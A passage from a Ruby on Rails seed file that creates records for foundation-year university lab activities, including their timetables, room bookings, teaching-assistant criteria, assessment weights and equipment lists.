$ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a533.id).first_or_create!(cost_per_student: nil, equip_needed: \"water trays, water, jugs, dyes, stop watch, 1m rule, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a533.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a534 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode13\").first_or_create!(name: \"Motion & Energy\",\n name_abrv: \"MOTION\", archived: false, in_drive: false, user_id: 3)\n at534 = ActivityTimetable.where(activity_id: a534.id).first_or_create!(duration: 105, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at534.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a534.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a534.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a534.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a534.id).first_or_create!(cost_per_student: nil, equip_needed: \"Galileo track, 3 spheres, 1m rule, stop watches, pens\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a534.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a535 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode14\").first_or_create!(name: \"Catapult Challenge\",\n name_abrv: \"CATAPULT\", archived: false, in_drive: false, user_id: 2)\n at535 = ActivityTimetable.where(activity_id: a535.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at535.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a535.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a535.id).first_or_create!(criteria: \"Safety of hand tools\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a535.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a535.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, material\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a535.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a536 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode15\").first_or_create!(name: \"Data Visualisation\",\n name_abrv: \"DATAVIS\", archived: false, in_drive: false, user_id: 2)\n at536 = ActivityTimetable.where(activity_id: a536.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a536.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a536.id).first_or_create!(criteria: \"experience of Excel\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a536.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a536.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a536.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a537 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode16\").first_or_create!(name: \"Matlab Visualisation\",\n name_abrv: \"MATVIS\", archived: false, in_drive: false, user_id: 2)\n at537 = ActivityTimetable.where(activity_id: a537.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a537.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a537.id).first_or_create!(criteria: \"experience of Matlab Graphing\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a537.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a537.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a537.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a538 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode17\").first_or_create!(name: \"Youngs Modulus\",\n name_abrv: \"FY-YM\", archived: false, in_drive: false, user_id: 2)\n at538 = ActivityTimetable.where(activity_id: a538.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a538.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a538.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a538.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a538.id).first_or_create!(cost_per_student: nil, equip_needed: \"Schimadzu + samples, micrometers, rules\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a538.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a539 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode18\").first_or_create!(name: \"Balancing Forces\",\n name_abrv: \"FY-BALFORCE\", archived: false, in_drive: false, user_id: 5)\n at539 = ActivityTimetable.where(activity_id: a539.id).first_or_create!(duration: 75, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a539.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a539.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a539.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a539.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gunt frames, chains, spring gauges, 2kg mass, 1m rule\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a539.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a540 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode19\").first_or_create!(name: \"EMF & Ohms\",\n name_abrv: \"EMF & OHM\", archived: false, in_drive: false, user_id: 4)\n at540 = ActivityTimetable.where(activity_id: a540.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a540.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a540.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure current and voltage for a simple DC circuit\n Help students to use power supplies and multimeters and record measurements\n Troubleshoot student circuit construction on breadboards\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a540.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a540.id).first_or_create!(cost_per_student: nil, equip_needed: \"AA battery, resistors, DVM\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a540.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a541 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode20\").first_or_create!(name: \"Resistivity\",\n name_abrv: \"RESIST\", archived: false, in_drive: false, user_id: 2)\n at541 = ActivityTimetable.where(activity_id: a541.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a541.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a541.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the resistivity of two different types of wire (constantan and nichrome)\n Troubleshoot student circuit construction and help record measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a541.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a541.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, wound wire boards, DVM, rule, micrometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a541.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a542 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode21\").first_or_create!(name: \"Capacitance\",\n name_abrv: \"CAPS\", archived: false, in_drive: false, user_id: 5)\n at542 = ActivityTimetable.where(activity_id: a542.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a542.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a542.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the discharge characteristics of a capacitor\n Troubleshoot student circuit construction and advise on data colleciton and recording\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a542.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a542.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, capacitor, breadboard, jump wires, DVM, stop watch\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a542.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a543 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode22\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TRANS_FY\", archived: false, in_drive: false, user_id: 2)\n at543 = ActivityTimetable.where(activity_id: a543.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a543.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a543.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students verify the turns ratio of a transformer through experimental measurement\n Assist students setting up simple transformer circuits and making voltage measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a543.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a543.id).first_or_create!(cost_per_student: nil, equip_needed: \"DVM, MSO, Sig Gen, Transformer boards, cables\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a543.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a544 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode23\").first_or_create!(name: \"Hookes Law\",\n name_abrv: \"FY-HOOKE\", archived: false, in_drive: false, user_id: 1)\n at544 = ActivityTimetable.where(activity_id: a544.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at544.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a544.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a544.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a544.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a544.id).first_or_create!(cost_per_student: nil, equip_needed: \"Retort stands, springs, 1N mass, vernier calipers, weighing scales\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a544.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a545 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode24\").first_or_create!(name: \"Specific Heat Capacity\",\n name_abrv: \"FY-SHC\", archived: false, in_drive: false, user_id: 2)\n at545 = ActivityTimetable.where(activity_id: a545.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at545.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a545.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a545.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a545.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a545.id).first_or_create!(cost_per_student: nil, equip_needed: \"metal blocks, beakers, water baths, vernier calipers, thermometers, stop watch, water jugs\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a545.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a546 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode25\").first_or_create!(name: \"Charles Law\",\n name_abrv: \"FY-CHARLES\", archived: false, in_drive: false, user_id: 3)\n at546 = ActivityTimetable.where(activity_id: a546.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at546.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a546.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a546.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a546.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a546.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gas theremometers, boiling tubes, retort, theremocouple, water baths\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a546.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a547 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode26\").first_or_create!(name: \"Functional Programming\",\n name_abrv: \"FPROG\", archived: false, in_drive: false, user_id: 4)\n at547 = ActivityTimetable.where(activity_id: a547.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a547.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a547.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a547.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a547.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a547.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a548 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode27\").first_or_create!(name: \"Boolean\",\n name_abrv: \"BOOL\", archived: false, in_drive: false, user_id: 4)\n at548 = ActivityTimetable.where(activity_id: a548.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a548.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a548.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a548.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a548.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a548.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a549 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode28\").first_or_create!(name: \"Complexity\",\n name_abrv: \"COMPLEX\", archived: false, in_drive: false, user_id: 1)\n at549 = ActivityTimetable.where(activity_id: a549.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a549.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a549.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a549.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a549.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a549.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a550 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode29\").first_or_create!(name: \"Refraction\",\n name_abrv: \"REFRACT\", archived: false, in_drive: false, user_id: 2)\n at550 = ActivityTimetable.where(activity_id: a550.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at550.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a550.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a550.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the refractive index of a material using diffraction\n Assist students with calculations considering wavelengths of diffracted light\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a550.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a550.id).first_or_create!(cost_per_student: nil, equip_needed: \"Refraction kit (stores)\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a550.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a551 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode30\").first_or_create!(name: \"Photo Voltaic Cells\",\n name_abrv: \"PVCELLS\", archived: false, in_drive: false, user_id: 2)\n at551 = ActivityTimetable.where(activity_id: a551.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a551.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a551.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students to measure the current and voltage produced by a photo-voltaic cell\n Troubleshoot students' circuit construction\n Remind students how to perform calculations of electrical power and how to determine the maximum power operating point of the cell\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a551.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a551.id).first_or_create!(cost_per_student: nil, equip_needed: \"PV cells, DVM, lamp, PSU\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a551.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a552 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode31\").first_or_create!(name: \"Matlab\",\n name_abrv: \"MATLAB\", archived: false, in_drive: false, user_id: 1)\n at552 = ActivityTimetable.where(activity_id: a552.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a552.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a552.id).first_or_create!(criteria: \"Experience of Matlab Programming\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a552.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: 